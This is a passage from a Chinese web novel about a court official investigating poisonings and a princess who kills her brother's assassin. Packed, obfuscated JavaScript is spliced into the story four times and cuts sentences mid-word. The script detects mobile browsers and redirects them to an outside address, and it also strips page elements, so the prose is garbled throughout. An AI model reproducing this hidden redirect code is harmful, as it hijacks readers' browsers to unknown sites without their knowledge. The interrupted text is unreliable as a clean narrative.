林魏然看向掌柜,“你刚刚说找你们当家的?我记得这酒楼是你的吧?哪里又冒出来一个当家的?” 掌柜在林魏然逼问的眼神中下意识退了两步,全盘托出:“四,四年前酒楼因为一场官司差点被官府收走了,是当家娘子买了下来,帮我解决了那官司,还让我继续管着酒楼。” “什么事?” 掌柜撇撇嘴,“当初五……五皇子看上了我这酒楼,想买下来。可他出的价还不足我这酒楼的三分之一,我怎么能卖?后来不知为何,就有官府来查抄我这酒楼,说我犯了罪,幸好有当家娘子出面。” 当今陛下年幼,所以如今百姓口中的五皇子,依然还是先帝的第五子,杨禧允。 林魏然神色微暗:“当家娘子?她人在哪里?” 掌柜一摊手:“当家的走南闯北,我平日也见不着。每次都是把分红送去进奏院,当家的自会去取。” “叫什么?” 掌柜看了看眼前站着的三人,纠结片刻还是说了:“我不知道当家的叫什么,当家的产业很多,我见过别的掌柜唤她——宣娘子。” 除了一个看上去来头很大的宣娘子,福安酒楼中也再没查出什么。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336371|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林魏然让王清安去吴府再走一趟,查查吴安这回京前后都见了什么人,吃了什么东西——毒既然不在福安酒楼的饭菜中,那便是赴宴之前中的。 刑部的西厅内,只剩林魏然和安王两人。 “四年前能压下五弟的人,”安王显然是想到了什么,看着林魏然一字一字道,“定也是皇室中人。皇室中,名或字中带宣字的……” 林魏然微微眯起眼:“安王殿下是在隐射长公主殿下吗? 安王烦躁地搓了搓脸:“不是隐射,事实如此。” “就算如此,”林魏然淡淡道,“那又如何?” “她为何要帮一个普普通通的酒楼掌柜?然后吴安就莫名其妙地死在她的酒楼中?” 安王盯着林魏然,加重了语气:“林太傅,无论真相如何,你都要弄清楚。这话可是你说的。” “我会查清楚的,”林魏然平静道,“在我还没查清楚之前,一切都与长公主殿下无关。” —— 原本刑部查案的重点都放在两名死者进京之后的动向,如今有了新线索,长安城外也成了刑部关注的重点。 据吴安的随从说,吴安在回京前曾独自绕道往乌山方向去。 “大约黄昏之时回家的,”吴安的随从又被压在刑部,愁眉苦脸地回忆着,“那时是夫人在外迎接,不过说来也奇怪,主人并未特意传信说几时回家。” “然后呢?”林魏然继续问道。 “然后,然后夫人说给主人准备了热水,主人沐浴后就去了福安酒楼。” 林魏然翘着腿坐在案台后,手中把玩的匕首泛着银光,“你家主人南下三年,吴夫人就不曾跟随?” 随从有些尴尬地挠了挠脸,讪讪笑道:“这位上官,这冀州嘛……多出美人,上官也知道的……” 林魏然“啪”地将匕首拍着桌上,眼底闪过精光,“自吴安死后,你家夫人还去过哪?” 随从一怔,连声说没有了。 林魏然又捡起桌上的匕首,起身淡淡道:“你最好想清楚了再说。” 随着他渐渐靠近,匕首在幽暗烛火下泛起的冷光也更加刺眼。 “京郊乌山!”随从终于忍不住大喊道,“主人回京前还独自去了京郊的宅子,后来夫人疑心是主人在那藏了人,逼着我们带她去了一趟!只是那宅子什么都没有啊上官!” …… 另一边,多方探查之下,赵临回城后的踪迹也摆在了刑部的案台上——在去福安酒楼赴宴之前,他曾让城中乞儿替他传信。 收信人是赵临在御史台的一位好友,让好友去乌山附近的宅子,保护那宅子中的两个孩子回京,并让他把两个孩子送去慈幼院。 但这位好友说他去时,那宅子已经空无一人,不过倒是有人生活的痕迹。 他本想回来找赵临问问,可是第二天回京时,就得到了赵临的死讯,为了明哲保身,他便按下了此事不报。 林魏然有种直觉,赵临信中所写的宅子便是吴安随从说的那座宅子。所以他没带王清安,和安王两人往赵临信中所写的地址去了。 出长安城门不久,便找到了赵临信中所说的那座宅子。宅子位于长安城到乌山这条路的中段,房契上的名字也确实是吴安。 周围人说,这是吴家祖宅。 吴安娶了富商之女便搬到了长安城中,后来高中,更是极少来这座拿不出手的祖宅。 宅子很小,推门进去也就一间堂屋,一间厢房,还有一个杂草丛生的院子。 院子中还站着两个人。 其中一个身影极眼熟,林魏然的心一点点下沉,但又抱着一丝可笑的希望——或许只是自己眼花。 不过,当两道身影转身时,月色照亮了她们的面孔,他最后一丝希望也消失殆尽。 就是杨灵允,还有她的那个所谓侍女,幼荷。 41. 第 41 章 月光皎洁,清凌凌的,照亮了在场所有人的面孔。 无论两人心底作何猜想,面上仍是礼数周到:“公主殿下。” 杨灵允拢了拢玄色的帔帛,笑了下:“林太傅,三哥。” 她没有问两人为何会深夜出现于此,更没有解释自己为何深夜离宫,她只是绕着院子走了一圈,然后道:“你们是来查案的吧?” 林魏然垂眸应道:“是。” 但他没有透露半分查案的进度。安王下意识地转头看了他一眼。 杨灵允等了一会,也没等到他的下文,眼神便从林魏然身上挪开,唇间溢出一声意味不明的笑:“好好查吧,不要让陛下与我失望。” 她说完便带着幼荷离开了。 “我们就这样走了?”幼荷跟在杨灵允身后,不解地问道。 “来晚了,”杨灵允摩挲着指尖,神色晦暗,“吴安确实把两个孩子藏在这间宅子,但是现在人已经跑了。” “那现在怎么办,继续找吗?”幼荷又依旧不解,“你就这般确定,那两个孩子是皇室血脉?” 杨灵允转头看了她一眼,墨色的眼底一片冰冷:“是不是皇室血脉不重要,重要的是,他们手上有我那好五哥的玉佩。玉佩在,就有人会打着五王的旗号生事。” 幼荷叹息:“你如何知道是吴安把这两个孩子藏起来了?” 杨灵允忽然弯唇笑开:“自然是,吴安告诉我的啊。” 她声音低哑,笑容艳丽,苍白又带着病气的面孔隐在夜色之中,恰巧不远处又传来幽幽的风声,幼荷下意识地打了个寒颤。 “你……”她说话间牙齿有些打颤。 杨灵允噗的笑了起来,很开心的那种笑:“骗你的,是吴安的妻子告诉我的。不过她也没说实话,这宅子里什么都没有。” 片刻后幼荷才缓过神,没好气地别过脸:“你最近倒是活泼不少啊?” 她大步走在杨灵允前面,手中握着剑。 “毕竟一切都要结束了,”杨灵允笑容依旧,只是回头望向吴安祖宅方向时脸色上过暗色,低声喃喃,“容时哥哥,这次你能查到什么地步呢?” …… 吴安祖宅中,虽然安王并不懂如何查案,但不妨碍他理直气壮地跟着林魏然,打扰他的思路,在他身边喋喋不休—— “你怀疑长公主了,对吧?” 在查完堂屋之后,林魏然终于忍不了了,毫不客气地将安王一掌推开,冷漠道:“安静点,安王殿下。” 安王被林魏然嫌弃地推开,倒也没恼,站在一边抱着双手看林魏然忙忙碌碌地查案,看着看着,忽然打了个哈欠。 林魏然此时也查完了一切,起身向安王走来。 睡眼朦胧间,安王看着林魏然,恍惚间以为看到了皇兄。 只是当林魏然一开口,他就彻底清醒了。 “厨房里剩余的柴火、用过的碗筷,还有灶台的使用痕迹,都说明这间屋子近期有身量不高之人在此生活,大约就是赵临信中说的那两个孩子。” “所以呢?”安王又打了个哈欠,懒洋洋地问道,“这与凶手有什么关系?” 林魏然没回答,只是看着安王,缓缓道:“赵临与吴安是前后脚回京的。我猜,这两个孩子被赵临救下后,又被吴安抓走,用来威胁赵临去福安酒楼赴那场鸿门宴。” “所以吴安是计划好了要杀赵临?”安王点点头,若有所思,“为什么呢?” 他看上去是真心实意地疑问。 林魏然淡淡地笑了下:“安王殿下,今夜只有你我二人,不用再装了。” 夜风吹过,吹散了安王脸上的玩世不恭,他眯了眯眼,眼底露出危险之色:“你什么意思?” “吴安是谁的人,你比我更清楚,”林魏然依旧笑着,“赵临奉我的命令南下巡视,你救过他一命,他死了,这个恩情我替他还。” 林魏然话音刚落,安王不知从哪拿出一把匕首,开刃的一端已经架在了他的脖颈上。 “林魏然,”安王已然变了脸色,咬牙一字一字,“你未免有些太自大了。” 林魏然纹丝不动,语调平静:“吴安的妻子宋靡,你还记得吧?宋家是做药材生意起家的,宋靡从小耳濡目染,定然熟悉哪些药材混合在一起能致命。而这间宅子中有不少药材是新采摘的,只用了少许。我认得几样,都是药性极强的。” “我们先前去吴宅时,吴宅一副马上要被搬空的模样,说明宋靡已经准备逃走了。” “那又如何?”安王手上的匕首更逼近了些,脸色沉沉,“你到底想说什么?” 林魏然叹息道:“宋靡杀了吴安,准备出逃。可吴安为云相做事多年,如今吴安死了。在众人眼中,吴安手上的东西定然落在宋靡手中。你说,云相会放过宋靡吗?” “什么东西?” 林魏然定定地看着安王,然后抬手握住了匕首,“你应该比我更清楚啊,安王殿下。东西还在宋靡手上,否则长公主不会深夜来此。” “在长公主之前拿到宋靡手上的东西,是你不被云氏牵连的最后机会。” 他温和平静的声音被“哐当”一声打断,安王手中的匕首落地,手腕也被林魏然渗血的掌心死死攥住:“我是在救你,安王殿下。云氏是不可能再存在的,但是你,还有机会。” 安王猛地挥开林魏然,厉声道:“闭嘴。” 林魏然被推得踉跄几步,但又极快地稳住身形,继续开口:“东西在你手上,由你交出来,云厉的罪便由你说了算,无论轻重,都还能有一线生机。若东西在长公主手上,那么是非黑白岂不都由长公主一人说了算?” “安王殿下,你要想清楚。” 安王脸上浮出冷笑:“那本王也可以毁了那些东西。” “那宋靡呢?”林魏然反问,“你也要把一起宋靡杀了吗?不然你只毁了东西,宋靡还在,届时长公主借宋靡之口,云厉的罪名,可就真是板上钉钉的死罪了。” “安王殿下,”林魏然幽幽道,“你要杀人吗?为了云氏?” 安王怔怔地盯着林魏然,垂在身侧的手心却不自觉一点点地捏紧了……他不想杀人,但他也不想亲手把云氏送上死路。 所以他在冀州装聋作哑,只做一个闲散王爷。逍遥的日子过久了,他真以为自己能过一辈子。 “安王殿下,”林魏然的声音又在他身后响起,“逃避是没有用的,人终究要面对自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382379|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的命运。你现在还有选择。” “哐当”一声,木门打开又被狠狠甩上,安王的身影消失在这间破旧的宅院中。 林魏然低头看了看伤口已经凝固的掌心,也跟了上去。他已经给了安王机会,怎么选,生还是死,就看他自己了。 —— 杨灵允带着幼荷深夜离宫又回宫。长公主的行踪都是最隐秘的,守宫门的那些侍卫断不敢泄露。 但她们一回宫,幽暗的夜色中,一双眼睛便盯上了她们。 不知为何,杨灵允从宣德门往太极宫的路上竟没见到一个守卫。 守卫似乎都守着太极宫。 幼荷与杨灵允并肩走着,深夜的皇城,寂静无声。下半夜,连月亮都隐在了云层中。 月黑风高天,杀人放火夜。夜色之中的埋伏之人慢慢抬手,将袖口对准了杨灵允。 然后,一枚暗器破风而出,直指杨灵允的后心。 暗器的速度极快,但快不过早有准备的幼荷。她抬剑一挡,挑掉了这枚暗器。 但紧随而来的,是第二枚、第三枚暗器。源源不断,在夜色之中泛着幽幽冷光。 幼荷挡在杨灵允前面,但暗器速度太快数量也太多了,不像只有一个埋伏之人。 兵器相接的声音在寂静的夜中很刺耳,但始终没有守卫上前。 幼荷在挥剑间回头冲杨灵允大吼道:“你的人呢?” 但杨灵允像是没听到这话,她只是定定地看着地上第一枚被幼荷挑落的暗器,脸上浮现出一种恍惚得痛苦的神色,其中似乎还夹杂着冷意和杀意。 幼荷只得空回头看那一眼,就不得不专心对付那源源不断的暗器。 “你发什么呆!”她怒吼着想让杨灵允清醒点,“不要命了吗?” 话音刚落,不远处传来冲天的火光和嘈杂的声音,暗器也终于消失了。 幼荷总算松了一口气,垂下剑看向杨灵允:“你怎么了?” 自第一枚暗器出现后,她的脸色就变得不对劲。 那枚暗器……幼荷顺着杨灵允的眼神看过去,这是与普通的暗器造型不太一样,更准确的说,像是一只箭,但又比箭细窄些。 “禁军抓到人了,”杨灵允像是终于回过神来,只是眼神变得有些空,“我自己去就好了,你先回太极宫。” “你……”幼荷皱了皱眉,有些担心——杨灵允看上去状态实在不好,与一年前先太子死的时候,她抢过自己手中的剑,杀上各宫找凶手时的疯狂有些相似。 但杨灵允没给幼荷再多话的机会,像幽魂一般晃晃悠悠地往火光的地方走去。 幼荷纠结片刻,到底还是悄悄跟了上去。 埋伏之人是在宣德门附近的古楸树上被擒住的,附近巨石林立,又与各宫相近,若不是杨灵允早有准备,怕是不好抓住。 但杨灵允脸上却丝毫没有抓住细作的大快之色,眼底隐约还能看见微颤的痛苦。 禁军头子攥着细作的头发强迫其仰起头,明亮的宫灯下,女人的面孔照得清清楚楚。 “桃,心,”杨灵允唇齿间吐出这两个字,藏着咬牙切齿的痛苦和杀意,“是你杀了他……我就是个傻子,竟还信了云婉的话……” 42. 第 42 章 桃心狼狈地仰头看着杨灵允,不甘地在禁军手下挣扎着,神色扭曲着,似乎只要有一丝机会,她就会暴起杀了杨灵允。 “公主,此人危险,“禁军首领皱眉,“不如先将她关下去,属下细细再审。” 杨灵允对他的话视若无睹,伸手道:“刀给我。” 禁军所配的刀不轻,刀刃锋利,杨灵允指尖轻轻划过,血就流了下来。 给她刀的那名禁军见状大惊失色:“公主殿下……” 只是他话还没说完,杨灵允就轻声打断了:“闭嘴。” 她定定地看着桃心,长刀拖在地上,发出刺耳又惊心的声音。 “是你杀了他……她骗了我……” 杨灵允声音飘忽,神色恍惚,只有眼底的杀意最真实。 见逃不掉,桃心索性也放弃了挣扎,冷眼看着杨灵允,死前也不忘在她心上扎刀子,冷笑道:“我是娘娘的陪嫁,跟了娘娘几十年,你这种残害手足之徒,还想对安王殿下动手,娘娘怎会把我交到你手上?” “恨只恨一年前我那一箭没能杀了你!” 她情绪又激动起来,但她已经没了力气,声音也嘶哑,被夜风一吹,就消失得无影无踪。 可杨灵允就是觉得,桃心的声音像惊雷一般在她耳边炸开,时时刻刻地在嘲讽着一年前愚蠢的轻易受骗的自己。 “那我这就让你下去和她一起作伴。“杨灵允的声音轻得仿佛下一刻就要碎在风中。 夜色之中,她墨色的瞳孔中闪着异样的光。 杨灵允以一种生疏的姿势,双手握刀缓缓举起。血滴落下,碎发散落,瓷白中混着妖冶的殷红,三种浓重的颜色集中在她美艳的面孔上,酝酿出厚重得惊心的杀意。 “安王,云厉,云氏,害死了哥哥的人,我一个都不会放过。” 除了小时候,她已经很多年没有这样喊过哥哥了。他曾多次逗她想让她再喊一声哥哥,只是每次她都觉得这叠字有些矫情,说不出口。 可现在她喊了,想听的人却永远都听不见了。 刀被举了起来,桃心忽然又猛烈地挣扎起来,扯着已然嘶哑的嗓音嗬嗬嘲讽:“你杀了我又能怎样?废太子死了!他就是因为你才死的!” 不得不说,桃心虽然与杨灵允接触不多,但或许是作为同类人的本能,扎刀精准地扎在了杨灵允的最痛处。 时隔一年,杨灵允一直以为自己已经接受了哥哥的死亡。就算真的抓到了凶手,她也能冷静地计算出凶手到底活着有利,还是死了有利,然后再决定如何处置凶手。 可现下她脑子里只剩一个不管不顾的念头——杀了她。 哥哥死了,凭什么凶手还能活着? 刀很沉,杨灵允身子亏空,没什么力气,动作很慢。 整片禁军噤若寒蝉,无人敢出言阻止此时的杨灵允。 连风都停止了游动。 但就在刀即将落下的最后一刻,形势陡变——一把剑斜射过来,猛地打飞了杨灵允手中的刀。 禁军神色骤变,目光如炬投向剑飞来的方向。 就见幼荷急匆匆地从一块巨石后跑出来。 有些禁军认得她,因而停了动作。但杨灵允此时身上的戾气实在太重,没有她的命令,禁军不敢放幼荷近杨灵允的身。 杨灵允回头看了一眼幼荷,又漠然地收回眼神,一步步地走向被打飞的那把刀——显然是要继续未完的报仇。 幼荷被禁军的横刀死死拦住,眼睁睁地看着杨灵允捡起刀,又拖着刀走向桃心。 她的侧脸在幼荷眼中缓缓幻化成先太子含笑的面孔,还有他温润平和的声音…… “幼荷姑娘,若是事情真的到了最坏的那一步,我有个不情之请,还希望你能阻止一下宣和,让她别为我报仇。生死有命,若我真死了,也是技不如人,我不怨任何人。” “起起落落这么些年,我也看淡了。我的生死无所谓,可宣和不一样,我就这么一个妹妹。她从小胆子就不大,偏生又爱乱跑,以前瞧见掖庭狱责罚宫人都会做恶梦。若真亲手杀了人……对她不好。” “等时机成熟,我会找机会把宣和送出宫,让她自由自在,快快乐乐地活着。” …… 千钧一发之际,见始终破不开禁军的阻拦,幼荷狠狠一咬牙,大喊道:“冷静点啊!你哥不希望你为他报仇!” 满是劝告的无奈声音清晰地飘在在场每一人的耳中。 不知是哪个字触动了杨灵允的神经,她忽然停了脚步,慢慢回头看向幼荷,墨黑的眼睛几乎无机质,暗沉沉得有些惊悚。 幼荷顾不上许多,咬牙继续道:“这是他亲口跟我说的。还有这细作,你留着人还有用啊!冷静点别冲动用事!” 杨灵允定定地盯着幼荷,片刻之后终于开口:“你一个入宫就为了报仇的人,哪来的立场跟我说这些?况且我手上也不少这一条命。” 她声音暗哑,但手上的动作却停了。 幼荷眼睛微亮,连忙继续劝说:“我知道你下令杀了很多人,但这和亲手杀人不一样。鲜血喷溅在脸上的感觉不好受,我第一次杀人的时候也很害怕。我混迹江湖,杀人是为了活下去,你不一样啊,你还有的选,你哥只希望你好好地,快快乐乐地活着!” “你想清楚啊!” 她隔着数名禁军的横刀遥遥看着杨灵允。杨灵允回看着她,距离不远不近,但伸手却摸不到,就像现在的她和过去的她。 杨灵允眨了下眼睛,又转身去看跪在地上的桃心,忽然想起来那夜哥哥死的时候,她也是这样跪着,眼睁睁地看着他眼底的光慢慢熄灭,然后她这辈子再也听不到他笑吟吟地喊她—— “宣和。” 杨灵允缓慢地阖了阖眼,然后手起刀落,鲜血飞溅。 在所有人都没有反应过来的时候,桃心眼底的光已经熄灭,脸上凝固着一丝诡异的笑容,从禁军首领的手中瘫软倒下。 幼荷被横刀死死阻拦住,只能眼睁睁地看着杨灵允的身上、脸上都被溅满殷红色。 然后宫灯泯灭,人影无踪。 黯淡的夜色中,幼荷慢慢垂下了手,停止了想要过去杨灵允身边的脚步。 她看着站在一遍宛如幽魂的杨灵允,很轻地叹了口气,转身离开。 只是没走多远,她眼尖地看见不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419318|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处的巨石边上似乎站着一个人影,刚想拔剑,却意识到先前为了阻止杨灵允,连剑都扔出去了。 幼荷皱了皱眉,开口想喊人。那人影便缓缓走进另一盏宫灯下。 火光照耀,林魏然的面孔清晰地落在她眼底。 “这么晚了,你怎么进宫的?” 林魏然眼神遥遥望着不远处的杨灵允,轻声道:“表哥曾给过我他的私令,宣德门的守卫认他的私令。” “那你就这样眼睁睁地看着她动手杀人?不阻止一下?” 没能成功阻止杨灵允,幼荷心情实在算不上好,语气中颇有几分质问之味,“你不是最重礼法吗?先前我要杀云柔时还急匆匆地跑进来阻止,怎么轮到她就一声不吭了?也是看碟下菜啊?” 林魏然没分半点眼神给幼荷,只定定地望着不远处——禁军在忙着收拾残局,而杨灵允拎着沾血的横刀站在边上看。 红白相交间,她恍若幽魂。 “让她发泄一下也好。”林魏然轻声道。 其实并非如此。他深夜进宫,就是意识到杨灵允漏夜离宫或许还有一部分原因是为了抓住细作。 他本意是来阻止杨灵允大开杀戒的。 可是当真的看见了杨灵允,又想起当时她喝醉时的悲哀神色,他忽然就开不了口,迈不出脚了。 亲手报仇,其实更多的是安抚在世之人,安抚他们那份骤然失去至亲而无处安放的痛苦。 他不想让杨灵允一直被过往的痛苦所纠缠。 如果杀人报仇可以让她好受一点,那么他忽然也不是很想再在乎什么礼法了。 幼荷看着林魏然难辨的神色,半晌后烦闷地搓了搓脸,才开口:“算了,现在说这些也没什么用。她今夜心情不好,你……” 纠结片刻,她也不知道该说下去什么。 连她都看得出来,杨灵允和林魏然之间的感情掺杂了太多旁的东西,身份、立场、权势、还有杨灵允身后的傅氏。 这些东西浮浮沉沉,若隐若现,但始终没有消失,隔着两人之间,注定了他们不能像普通的相爱之人一样互相陪伴,互相依赖。 也就在他们交谈的时候,禁军已经收拾好了残局,继续去巡视宫禁。几名禁军护着杨灵允回太极宫,途径了幼荷和林魏然站的地方。 幼荷的身影很明显,但林魏然的身影被巨石挡住,隐隐绰绰,不仔细看很难发觉。 杨灵允沉默地走过两人所在的地方,跟在她身后的禁军首领似乎是发现了什么不对劲,脚步顿住,眼神凌厉地扫过来。 但下一刻,杨灵允抬手淡道:“快走吧,别让陛下等急了。” 她回头,不知是对禁军首领说的还是对幼荷说的。 回头间,她的眼神也避不可避地扫过了林魏然所在的地方。 一个在明,一个在暗,林魏然的眼神落在了杨灵允清瘦的面孔上,还有那么一瞬间,似乎与她墨色的眼眸也对上了。 但只有这一瞬间。下一刻,杨灵允便带着禁军离开了。 幼荷跟上去前回头看了一眼林魏然:“她应该看见你了。” 林魏然弯了弯唇,“我知道。” 43. 第 43 章 翌日,整个京城便沸沸扬扬地流传着一个消息——云府被金吾卫抄了,云厉等云氏一干子弟全部进了金吾狱。 为什么被抄?没有人知道。 抄出了什么?就只有字画书籍,和一些零碎的金银。 “云家两袖清风,为何会遭此横祸?” 这是坊间百姓的议论。 “云相出身寒微,不像那些世族子弟,他是凭着自己做到了宰相之位。如今云相落难,我等必不能袖手旁观!” 这是各地来长安赴考的学子间流传的话。 …… “压不住了啊林尚书,”大理寺少卿宋理愁眉苦脸地找上了刑部,“公主殿下的动作太大,云府被抄的消息传得人尽皆知,那些举子有多少是仰慕着云相的你不是不知道,我这边是实在压不住了。” 林魏然负手而立,桌前还放着昨夜从赵清手中拿来的巡案记录,望着窗外淡道:“刑部掌刑狱。书生动乱,治安不好,你该去找金吾卫,跟我有什么关系?” 宋理一怔,又硬着头皮继续道:“这……就是金吾卫抄的云府,如今又是闻九掌着金吾卫,下官哪里还敢去金吾卫大营啊。” 说着,他脸上露出些纠结犹豫和挣扎,然后搓了搓手,小心翼翼地又开了口:“下官就是代长安各县的县尉来问问,这公主殿下,到底是什么意思啊……安王殿下也还在京中呢,云府……说抄就抄?” 他曾与林魏然共事过一段时间。因而昨夜抄云府一事一出,不少人都指望着他能从林魏然这边问出什么。 毕竟如今,最接近公主与天子,年纪轻又好说话的,也只剩林魏然一人了。 林魏然回了头,似笑非笑:“宋少卿,先做好你该做的事吧。不管公主是什么意思,长安若是真的被书生搅乱了,你难逃干系。” 宋理对上他墨黑的眼睛,身子不自觉抖了抖,开始在心底怒骂那些有贼心没贼胆的同僚——林魏然哪里是个好说话的?这不会是要治他个失职之罪吧。 想到这里,宋理连忙弯腰后退,连声道:“是,下官这就去把那些书生都抓了。” “等等,”林魏然阖了阖眼,神色忽然变了下,像是在一瞬间做了一个艰难的决定,“如今春闱将至,各地举子都到了长安,你抓那么多人,关在哪?” “啊?”宋理傻眼,“那这……抓也不是放也不是……” “来长安应考的,都是我朝的未来。”林魏然脸上又露出那种似笑非笑的神色,“宋少卿,若春闱出了什么问题,你照样难逃干系。” 宋理这回是真的犯难了,试探道:“那……依林尚书的意思是……?” “好好安抚他们,”林魏然淡淡道,“告诉他们,朝廷会给他们一个交代。” 宋理无奈:“我们不是没安抚过啊,只是事发突然,举子们又情绪激动,安抚不住啊。” 林魏然笑了一声:“那就要看宋少卿的本事了。拿着朝廷的俸禄,总不能什么都不做吧?” 他这话说得毫无通融之意,显然只给了宋理这一个选择。 百般无奈之下,宋理也只能长吁短叹地回去想法子安抚人心了。 林魏然看着宋理离开刑部的背影,眼神渐渐变得幽深。 宋理此人,长袖善舞,圆滑得很。心思都放在这些弯弯绕绕上,举子闹事第一时间想的不是怎么解决,而是想着找谁背锅。 若朝中官员都是这种尸位素餐之徒……林魏然伸手捏紧了那份巡案记录,可不行啊…… 宋理没走多久,王清安便冲了进来,气喘吁吁道:“我问过了,其余几位宰相先前也都没收到任何消息,而且宫中传话,说陛下偶感风寒,这几日闭朝。” 林魏然捏着巡案记录的手指陡然用力,骨节泛白:“安王呢?” “肯定也知道了此事,不过还在吴宅,一直没出来。” 林魏然阖了阖眼,拿起了赵临的巡案记录,“盯好安王,我要进宫。” “什么?”王清安以为林魏然没听懂他的意思,又道,“林尚书,宫里已经来了消息,这几日不许任何人入宫。” “那我也得试一试,”林魏然已然下定决心,“宋理压不了那些书生太久,若一直没个结果,书生早晚还要闹事。” “闹事之徒,抓了便是,”王清安不解,“况且能为云氏说话的,想来也不是什么好东西。” 王清安是王氏子弟,深知朝堂中的藏污纳垢之事,本就看不惯云氏,如今云氏倾覆,他没上去踩一脚已经算好了。 林魏然沉沉地吐出一口气:“在家世普通的读书人眼中,云厉还是一个两袖清风的励志典范。云府毫无缘由地被抄,他们为云厉讨一个公道,也是正常。” “可是……” 王清安还想说什么,但林魏然已经转身离开。 —— 宣德门的侍卫还是认林魏然手中的先太子私令,放他一路通畅无阻地到了太极宫。 只是杨言和昨夜的禁军首领拦在门口,“陛下染病,公主忙于照顾陛下,不见人,林太傅请回吧。” 林魏然沉默片刻,“那我等到公主可以见我的时候。” 禁军首领显然没想到林魏然这般刺头,眼睛一竖就想上手把他拉出去。杨言连忙阻止,攥着禁军首领往里走,嘴上还不忘对林魏然道:“林太傅稍后,咱家再去通报一声。” 到了太极宫内,杨言才松开手。禁军首领一脸嫌弃:“你做什么?公主说了不见人,还通报做甚,直接把人拉出去不就好了。而且这姓林的到底是怎么混进宫中的?” 杨言没工夫跟他解释太多,急匆匆道:“你看好门,别让他进来,我去通报一声再说。” 说罢,他脚下生风地往栖暖殿方向去。 杨灵允听完了杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444978|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言的转述,指尖微颤了几下,然后淡淡道:“他爱等就让他等着。” 杨言摸清了杨灵允的态度,心底也有了底,低声应下了。 太极宫外,禁军首领正面色不善地盯着站在门前的林魏然,就等杨言出来,得了公主的命令把这人拖出去。 但杨言出来后,他的幻想也随之破灭—— “林太傅,公主说了没空见人,您还是请回吧。” 他语气依旧客气,还带上了几分难以察觉的讨好。 禁军首领难以置信地转头看他。 林魏然很轻地笑了下:“如今天色尚早,我可以等到公主有空见我。” 这副毫无顾忌的态度一下就激怒了禁军首领。他一下撸起袖子,怒道:“我说你这人是不是听不懂话……” 他的怒气还未发泄出来,就被杨言死死拉住。 “使不得啊钱将军,”杨言不知哪来的力气,硬是将人拽远了不少,才低声道,“这林太傅,不是你我能动的。” 钱其皱眉:“他屡次三番地违逆公主的命令,我教训一下还不行?” 杨言语重心长:“将军想教训谁都可以,唯独这位不可以。您瞧,今儿早上来了这么多人,除了他,哪个不是听到公主说不见人就走了,哪个不长眼的敢跟公主对着干?” “你是说,他背后有人?”钱其总算按下了脾气,挠挠头,“不对啊,他虽说是陛下的太傅,可陛下肯定是跟我们公主一边的啊?” 杨言又看了不远处的林魏然一眼,然后幽幽道:“他身后的人,哪是陛下?是公主啊。” 钱其彻底被绕晕了。他就是个武夫,公主救了他的命,给了他机会,他就死心塌地得跟着公主。 可这姓林的……到底是哪方神仙? 杨言见状,也知道跟这脑子只有一根筋的武夫解释不清楚,便道:“反正,咱们只管守着太极宫的门,当他不存在就行。” 燃香一点点熄灭,日光渐渐消失,厚重的云层翻涌而来,风中传来青草和水汽混合的气味,还有一股淡淡的花香——春雨要来了。 杨言和钱其在太极宫的屋檐下避雨,看着对面一动不动地淋着雨的林魏然,钱其忍不住道:“下雨了,他到底怎么办?” 杨言叹口气:“公主没发话,就别管他。” 在他们对话间,窈窕的身影忽然出现在雨幕间。 竟是王淑均。 “淑太妃。”林魏然拱手行礼。 他已经被雨水浇得浑身湿透,有些狼狈,但眼睛依旧明亮,更显出他五官中清俊的少年气。 王淑均叹口气:“何苦呢?临安公主说不见人就是不见人,回去吧。” 林魏然笑了笑:“总得试一试。” “试了这么久,还不够吗?” 雨声滴答,春雷阵阵,林魏然的声音依旧清晰:“我还不想放弃。” 44. 第 44 章 王淑均看着林魏然被淋湿的眉眼,半晌无言,然后转身往对面走去,对杨言和钱其道:“本宫有事求见长公主,烦请公公通报一声。” “姐姐,淑太妃也来了,”小皇帝站在太极宫内的屋檐下,对身后的杨灵允轻声道,“你真的不见林太傅吗?” 杨灵允掩嘴轻咳两声,开口时声音已然沙哑:“陛下想让我见吗?他来,必是想让我停手。” 